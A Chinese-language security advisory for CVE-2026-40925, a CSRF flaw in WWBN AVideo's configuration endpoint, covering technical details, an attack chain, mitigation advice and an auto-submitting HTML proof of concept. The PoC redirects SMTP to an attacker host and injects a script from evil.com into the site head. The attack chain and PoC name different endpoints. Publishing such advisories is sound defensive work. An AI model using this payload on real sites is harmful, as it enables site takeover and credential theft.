IPBUF安全漏洞报告
English
CVE-2026-40925 CVSS 8.3 高危

CVE-2026-40925 AVideo跨站请求伪造漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40925
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

CSRFAVideo配置篡改高危漏洞

漏洞概述

WWBN AVideo是一个开源视频平台。在29.0及之前版本中,由于`objects/configurationUpdate.json.php`接口缺乏CSRF保护机制,仅依赖`User::isAdmin()`进行权限验证。攻击者可以诱导已登录的管理员访问恶意页面,利用跨站请求伪造攻击在未经授权的情况下修改全局站点设置,包括编码器URL、SMTP凭据、网站HTML头部等敏感信息,从而接管网站或窃取数据。

技术细节

该漏洞源于AVideo在处理配置更新请求时的安全设计缺陷。受影响版本的`objects/configurationUpdate.json.php`端点直接从`$_POST`全局变量中获取并持久化数十个站点设置,但仅检查用户是否为管理员(`User::isAdmin()`),未实施标准的CSRF防御措施。具体而言,代码未调用`forbidIfIsUntrustedRequest()`函数,未验证`globalToken`,也未检查请求头中的Origin或Referer字段。此外,为了支持跨源iframe嵌入,AVideo故意将`session.cookie_samesite`设置为`None`,这削弱了浏览器对跨站请求的天然防御。攻击者利用此漏洞,构造包含恶意POST请求的HTML页面。当管理员在保持登录状态访问该页面时,浏览器会自动发送携带有效Session Cookie的请求,导致服务器执行配置修改操作。这允许攻击者更改系统关键参数,如SMTP服务器设置(用于窃取邮件)、编码器地址、甚至注入恶意脚本到站点头部,实现进一步的控制。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用的是WWBN AVideo平台,且版本低于或等于29.0。
STEP 2
诱导
攻击者构造一个包含恶意HTML/JavaScript的网页,诱导已登录的管理员用户访问该页面(如通过钓鱼邮件)。
STEP 3
利用
管理员浏览器加载恶意页面,自动向AVideo服务器的`/updateConfig`接口发送跨域POST请求。由于`SameSite=None`且缺少CSRF Token,请求携带管理员Session成功通过验证。
STEP 4
影响
服务器接收请求并更新全局配置,攻击者成功篡改SMTP设置、植入恶意脚本或篡改Logo,从而控制网站功能或窃取凭据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-40925 Demonstrates CSRF to update AVideo configuration settings. Target: WWBN AVideo <= 29.0 --> <html> <body> <h2>CSRF PoC Loading...</h2> <script> // The vulnerable endpoint const target_url = "http://target-avideo-site.com/objects/configurationUpdate.json.php"; // Malicious payload to change settings // Modifying SMTP and injecting script into site head const payload = { "smtp": { "host": "attacker-controlled-smtp.com", "user": "hacker", "pass": "password123" }, "siteHeadHtml": "<script src='http://evil.com/xss.js'></script>", "contactEmail": "[email protected]" }; // Function to execute the attack function sendAttack() { fetch(target_url, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams(payload).toString(), credentials: "include" // Ensures the admin's cookie is sent }) .then(response => response.json()) .then(data => console.log("CSRF Attack Success:", data)) .catch(error => console.error("Error:", error)); } // Auto-trigger on load window.onload = sendAttack; </script> </body> </html>

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
建议管理员暂时不要在登录状态下访问不可信的第三方网页。同时在服务器端配置Web应用防火墙(WAF),严格拦截针对`/updateConfig`或`objects/configurationUpdate.json.php`接口的外部POST请求,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表